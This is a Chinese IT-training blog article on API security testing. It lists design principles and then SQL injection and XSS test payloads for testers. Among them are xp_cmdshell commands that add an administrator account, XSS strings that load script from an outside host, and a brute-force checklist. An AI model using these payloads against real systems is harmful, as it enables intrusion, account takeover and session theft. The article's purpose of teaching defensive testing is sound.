全国旗舰校区

不同学习城市 同样授课品质

北京

深圳

上海

广州

郑州

大连

武汉

成都

西安

杭州

青岛

重庆

长沙

哈尔滨

南京

太原

沈阳

合肥

贵阳

济南

下一个校区
就在你家门口
+
当前位置:首页  >  技术干货

基于接口的安全测试你会了吗

发布时间:2022-09-02 17:00:46
发布人:qyf

基于接口的安全测试你会了吗

  一、 接口测试安全场景

  相信大家都曾经为黄牛票而愤愤不平吧,但你只能忍气吞声,毕竟懂技术的流氓更可怕,像携程加速、飞猪加速也用过吧,这种流氓更让人无可奈何。

  其实了解了接口测试,就不再去“神话“他们“黄牛逼”。

  无非就是在一定的授权范围内,不断的批量去请求12306的购票端口,借助自身更大的带宽和算力去pk我们普通用户而已,在12306出了候补后,基本就没啥用了。

  安全测试说白了就是攻与防的问题,知己知彼才能百战百胜。

  二、 接口安全设计的原则

  现在前后段分离式设计,web系统、APP的接口都采用restful架构,restful最重要的一个设计原则就是客户端与服务端的交互在请求之间是无状态的,并采用token的认证方式,以便在多端设备进行鉴权。

  1、尽量使用更安全的https协议报文

  2、接口参数采用非对称加密算法进行签名

  3、接口参数需要校验,如表单提交使用验证码进行校验

  4、多次失败后需要有锁定机制,防止爆破

  5、接口对应用户权限,用户只能调用有权限的接口

  6、系统接口做过负荷机制用来保护系统安全

  7、接口尽量少返回服务错误信息给用户

  三、 接口安全测试

  1、sql注入

  Sql注入可以算是最常见的一种攻击手段了,作为测试人员,一定要熟悉各种sql注入的手段,在测试过程中就封堵这个风险,当然现在的很多开发框架也具备了防范sql注入的能力。

  测试中,我们需要设置如下的注入案例:

  admin'--

  ' or 0=0 --

  " or 0=0 --

  or 0=0 --

  ' or 0=0 #

  " or 0=0 #

  or 0=0 #

  ' or 'x'='x

  " or "x"="x

  ') or ('x'='x

  ' or 1=1--

  " or 1=1--

  or 1=1--

  ' or a=a--

  " or "a"="a

  ') or ('a'='a

  ") or ("a"="a

  hi" or "a"="a

  hi" or 1=1 --

  hi' or 1=1 --

  hi' or 'a'='a

  hi') or ('a'='a

  hi") or ("a"="a[/code]

  'and ( ) exec insert * % chr mid

  and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2

  'and 1=1 ; 'And 1=1 ; 'aNd 1=1 ;

  and 1=2 ; 'and 1=2

  and 2=2

  and user>0

  and (select count(*) from sysobjects)>0

  and (select count(*) from msysobjects)>0

  and (Select Count(*) from Admin)>=0

  and (select top 1 len(username) from Admin)>0(username 已知字段)

  ;exec master..xp_cmdshell "net user name password /add"--

  ;exec master..xp_cmdshell "net localgroup name administrators /add"--

  and 0<>(select count(*) from admin)

  2、xss攻击

  利用XSS的攻击者进行攻击时会向页面插入恶意Script代码,当用户浏览该页面时,嵌入在页面里的Script代码会被执行,从而达到攻击用户的目的。同样会造成用户的认证信息被获取,仿冒用户登录,造成用户信息泄露等危害。

  测试中,我们需要设置如下的xss攻击案例:

><scrīpt>alert(document.cookie)</scrīpt>

='><scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(helloworld)</scrīpt>

%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E

<scrīpt>alert('XSS')</scrīpt>

<img src="javascrīpt:alert('XSS')">

<scrīpt>alert('linda is ok');</scrīpt>

<scrīpt>alert('Vulnerable')</scrīpt>

?sql_debug=1

a%5c.aspx

a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>

a/

a?<scrīpt>alert('Vulnerable')</scrīpt>

"><scrīpt>alert('Vulnerable')</scrīpt>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E

%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&

%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out

<IMG SRC=" javascrīpt:alert('XSS');">

<scrīpt>a=/XSS/alert(a.source)</scrīpt>

<BODY BACKGROUND="javascrīpt:alert('XSS')">

<BODY ōNLOAD=alert('XSS')>

<IMG DYNSRC="javascrīpt:alert('XSS')">

<IMG LOWSRC="javascrīpt:alert('XSS')">

<BGSOUND SRC="javascrīpt:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">

<IMG SRC='vbscrīpt:msgbox("XSS")'>

<IMG SRC="mocha:[code]">

<IMG SRC="livescrīpt:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">

SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

  3、用户账号及暴力攻击

  用户账号信息是访问系统获取服务的最关键的一环,如果泄露了信息就没有任何安全可言,通过利用账户登录接口大量猜测和穷举的方式来尝试获取用户口令。就是猜口令咯,攻击者一直枚举进行请求,通过对比数据包的长度可以很好的判断是否爆破成功,因为爆破成功和失败的长度是不一样的,所以可以很好的判断是否爆破成功。

  作为测试人员,需要对账户信息进行如下测试:

  检测接口程序连接登录时,是否需要输入相应的用户

  是否设置密码最小长度

  用户名和密码中是否可以有空格或回车?

  是否允许密码和用户名一致

  防恶意注册:可否用自动填表工具自动注册用户?

  遗忘密码处理是否有校验码?

  密码错误次数有无限制?

  大小写敏感?

  口令不允许以明码显示在输出设备上

  强制修改的时间间隔限制(初始默认密码)

  口令的唯一性限制(看需求是否需要)

  口令过期失效后,是否可以不登陆而直接浏览某个页面

  更多关于软件测试培训的问题,欢迎咨询千锋教育在线名师。千锋教育拥有多年IT培训服务经验,采用全程面授高品质、高体验培养模式,拥有国内一体化教学管理及学员服务,助力更多学员实现高薪梦想。

相关文章

ITSS各级别之间有什么联系?

ITSS各级别之间有什么联系?

2023-10-14
什么是软件定义存储(SDS)?

什么是软件定义存储(SDS)?

2023-10-14
DeepMind和OpenAI身后的两大RL流派有什么具体的区别?

DeepMind和OpenAI身后的两大RL流派有什么具体的区别?

2023-10-14
软件开发管理流程中会出现哪些问题?

软件开发管理流程中会出现哪些问题?

2023-10-14

最新文章

常见网络安全面试题:Windows常用的命令有哪些?

常见网络安全面试题:Windows常用的命令有哪些?

2023-10-09
常见网络安全面试题:根据设备告警如何展开排查?

常见网络安全面试题:根据设备告警如何展开排查?

2023-10-09
常见网络安全面试题:mysql加固呢?(数据库加固)

常见网络安全面试题:mysql加固呢?(数据库加固)

2023-10-09
常见网络安全面试题:windows和linux加固?(操作系统加固)

常见网络安全面试题:windows和linux加固?(操作系统加固)

2023-10-09
在线咨询 免费试学 教程领取